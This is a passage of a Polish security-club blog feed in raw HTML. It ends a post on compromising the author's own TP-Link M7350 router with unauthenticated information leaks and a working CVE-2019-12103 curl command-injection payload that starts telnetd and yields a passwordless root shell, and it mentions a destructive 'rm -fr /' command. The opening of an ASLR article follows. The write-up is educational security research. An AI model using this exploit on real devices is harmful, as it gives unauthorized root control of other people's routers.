&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;totalConnTime&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;26073960&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;limitType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;dataLimit&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;simStatus&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;operator&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;operatorName&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;PLAY&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;wlan&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;enable&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;channel&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;ssid&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;TP-LINK_DE8B&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;region&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;DE&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;mode&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;bandType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;connectedDevices&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;number&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;message&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;unreadMessages&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">36&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;sdcard&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;status&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;mode&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;volume&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;used&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;left&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;result&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>No ojoj, tutaj już mamy ewidentnie information disclosure. Znamy operatora routera,
uplink/downlink speed, numer seryjny urządzenia oraz nawet stan naładowania baterii.
Bez żadnego uwierzytelnienia.&lt;/p>
&lt;p>Request 3 był identyczny, w związku z tym popatrzmy na request 4 do &lt;code>qcmap_auth&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;authedIP&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;0.0.0.0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;nonce&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;B4nuCvtUDTBqIJQH&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;result&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Nic ciekawego.&lt;/p>
&lt;p>Request 5:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;remainAttempts&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;totalAttempts&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;loginDisabledInterval&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">7200&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;loginDisabledRemainTime&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;result&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Bardzo ważna informacja. Wiemy teraz, że brute-forcowanie hasła urządzenia najprawdopodobniej
zakończy się porażką, jako że mamy tylko 10 prób uwierzytelnienia.&lt;/p>
&lt;p>Powrócmy w takim razie do informacji, którą uzyskaliśmy z poprzedniego web requesta, a chodzi
o model routera oraz jego wersję oprogramowania. Szybki search w Google i mamy link do
opencve.io: &lt;a href="https://app.opencve.io/cve/?product=m7350_firmware&amp;amp;vendor=tp-link"target="_blank" rel="noopener">https://app.opencve.io/cve/?product=m7350_firmware&amp;vendor=tp-link&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;figure>
&lt;img src="./tplink-cve.png" title="Długa lista cve na tp-linku m7350" alt="image" loading="lazy" />
&lt;figcaption>Długa lista cve na tp-linku m7350&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>Ojoj. Nasz router ma wersję oprogramowania &lt;code>160330&lt;/code>, czyli jest podatny na&amp;hellip; wszystko.
Szczególnie interesujące dla nas jest pre-authentication command injection, jako że pozwoli
nam na zrobienie sobie backdoora w urządzeniu. Autor oryginalnego artykułu o CVE-2019-12103
sugeruje uruchomienie daemona telnetu.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ curl -X POST http://192.168.0.1/cgi-bin/qcmap_web_cgi -H &lt;span class="s2">&amp;#34;Host: 192.168.0.1&amp;#34;&lt;/span> -H &lt;span class="s2">&amp;#34;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0&amp;#34;&lt;/span> -H &lt;span class="s2">&amp;#34;Accept: application/json, text/javascript, */*; q=0.01&amp;#34;&lt;/span> -H &lt;span class="s2">&amp;#34;Accept-Language: en-GB,en;q=0.5&amp;#34;&lt;/span> -H &lt;span class="s2">&amp;#34;Accept-Encoding: gzip, deflate&amp;#34;&lt;/span> -H &lt;span class="s2">&amp;#34;Referer: http://192.168.0.1/settings.html&amp;#34;&lt;/span> -H &lt;span class="s2">&amp;#34;Content-Type: application/x-www-form-urlencoded; charset=UTF-8&amp;#34;&lt;/span> -H &lt;span class="s2">&amp;#34;X-Requested-With: XMLHttpRequest&amp;#34;&lt;/span> -H &lt;span class="s2">&amp;#34;Connection: close&amp;#34;&lt;/span> -d &lt;span class="s1">&amp;#39;{&amp;#34;module&amp;#34;:&amp;#34;webServer&amp;#34;,&amp;#34;action&amp;#34;:1,&amp;#34;language&amp;#34;:&amp;#34;\$(busybox telnetd)&amp;#34;}=&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Niemożliwe, że to jest aż tak łatwe, prawda?&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ sudo nmap -sS 192.168.0.1
[sudo] password for mmm:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-26 22:06 &amp;#43;0200
Nmap scan report for 192.168.0.1
Host is up (0.010s latency).
Not shown: 989 closed tcp ports (reset)
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
80/tcp open http
MAC Address: 98:DE:D0:7A:DE:8B (TP-Link Technologies)
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>A jednak, na naszym routerku mamy odpalonego teraz telneta.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ telnet 192.168.0.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Trying 192.168.0.1...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Connected to 192.168.0.1.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Escape character is &lt;span class="s1">&amp;#39;^]&amp;#39;&lt;/span>.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">OpenEmbedded Linux mdm9625
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">msm &lt;span class="m">20160330&lt;/span> mdm9625
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mdm9625 login: root
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Password:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mdm9625:~# whoami
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">root&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Login i hasło strzeliłem; &lt;code>root&lt;/code> i brak hasła.&lt;/p>
&lt;p>Od tego momentu możemy w zasadzie zrobić wszystko. Przechwytywać cały ruch sieciowy,
modyfikować requesty oraz responsy HTTP, podmienić serwery DNS, albo po prostu zmienić router w
cegłę &lt;a href="https://www.linkedin.com/pulse/how-almost-destroy-your-system-while-trying-remove-french-lathwal-vzzic"target="_blank" rel="noopener">usuwając pakiet języka francuskiego&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
z urządzenia za pomocą &lt;code>sudo rm -fr / --no-preserve-root&lt;/code>.&lt;/p>
&lt;h3>0x07: Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="0x07-podsumowanie">&lt;/span>
&lt;a href="#0x07-podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Temat WPA-2 PSK jest bardzo obszerny i ciekawy. Z góry polecam w wolnym czasie
spróbować samemu odtworzyć przedstawione tutaj zagadnienia (&lt;em>tylko i wyłącznie na
swoim własnym routerze&lt;/em>). Bardzo polecam przy tym zakup porządnej zewnętrznej karty sieciowej,
jako że używanie niezalecanych kart sieciowych często się kończy tym, że po
prostu nie działają ona kompletnie do celów do jakich staramy się ich użyć (a wyglądają jakby działały).&lt;/p>
&lt;p>Poza tym chciałbym przestrzec wszystkich przed korzystaniem z jakiegokolwiek starego
lub nieaktualizowanego urządzenia sieciowego. Znaczna większość access pointów w
dzisiejszych czasach obsługuje WPA3, w którym do tej pory nie została opracowana
żadna metoda ekstraktowania hashy haseł, hasła są (z reguły) o wiele dłuższe i bardziej
skomplikowane, a urządzenia konsumenckie aktualizują się same.&lt;/p>
&lt;h3>Źródła&lt;span class="hx:absolute hx:-mt-20" id="źródła">&lt;/span>
&lt;a href="#%c5%bar%c3%b3d%c5%82a" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;ul>
&lt;li>&lt;a href="https://github.com/hashcat/hashcat"target="_blank" rel="noopener">https://github.com/hashcat/hashcat&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/ZerBea/hcxtools"target="_blank" rel="noopener">https://github.com/ZerBea/hcxtools&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/ZerBea/hcxdumptool/discussions/388"target="_blank" rel="noopener">https://github.com/ZerBea/hcxdumptool/discussions/388&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2"target="_blank" rel="noopener">https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://wiki.wireshark.org/HowToDecrypt802.11"target="_blank" rel="noopener">https://wiki.wireshark.org/HowToDecrypt802.11&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.pentestpartners.com/security-blog/cve-2019-12103-analysis-of-a-pre-auth-rce-on-the-tp-link-m7350-with-ghidra/"target="_blank" rel="noopener">https://www.pentestpartners.com/security-blog/cve-2019-12103-analysis-of-a-pre-auth-rce-on-the-tp-link-m7350-with-ghidra/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>http://192.168.0.1/ (xd)&lt;/li>
&lt;/ul></description></item><item><title>Linux ASLR Internals</title><link>https://whitehats.pwr.edu.pl/blog/2025-07-18-aslr/</link><pubDate>Fri, 18 Jul 2025 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2025-07-18-aslr/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2025-07-18-aslr/background_hu_e26ef049496e340b.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>W dzisiejszych czasach bezpieczeństwo naszych programów nie zależy
tylko od programisty. Współczesne kompilatory i systemy
operacyjne, np. Linux i Windows, implementują różnego rodzaju
mitygacje mające utrudnić atakującemu wyexploitowanie występującej
podatności - jedną z tych mitygacji jest randomizacja układu
przestrzeni adresowej (ang. Address Space Layout Randomization),
powszechnie nazywaną ASLR. W niniejszym artykule zajmiemy się nie
tylko podstawami, ale także dzięki dobrodziejstwu open-source
przyjrzymy się od kuchni, w jaki sposób każdy losowy adres jest
wyznaczany. Zobaczymy także, że żadna implementacja nie jest idealna,
jako że programiści implementujący takie rozwiązania muszą balansować
między bezpieczeństwem, szybkością a prostotą rozwiązania. Zachęcam
do przeczytania artykułu &lt;a href="https://whitehats.pwr.edu.pl/research/buffer-overflow/"target="_blank" rel="noopener">&amp;ldquo;Stack based buffer overflow - Wstęp
teoretyczny i (nie do końca) praktyczna
demonstracja&amp;rdquo;&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
autorstwa Dawida Ciemały, ponieważ ten artykuł można traktować jako
pewnego rodzaju rozszerzenie przedstawionej tam wiedzy.&lt;/p>
&lt;h2>Krótka demonstracja&lt;span class="hx:absolute hx:-mt-20" id="krótka-demonstracja">&lt;/span>
&lt;a href="#kr%c3%b3tka-demonstracja" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Na Wikipedii możemy przeczytać, że: &amp;ldquo;Address Space Layout
Randomization to technika bezpieczeństwa komputerowego stosowana w
celu zapobiegania wykorzystaniu podatności związanych z korupcją
pamięci. Aby uniemożliwić atakującemu przekierowanie wykonania kodu,
na przykład do określonej funkcji w pamięci, ASLR losowo rozmieszcza
pozycje w przestrzeni adresowej kluczowych obszarów danych procesu, w
tym podstawę pliku wykonywalnego oraz położenia stosu, sterty i
bibliotek&amp;rdquo;. Jest to definicja jak najbardziej poprawna, natomiast
uważam, że najłatwiej tłumaczy się poprzez pokazywanie. Weźmy sobie
jako przykład prosty program w języku C printujący na ekran adres zmiennej
lokalnej c:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
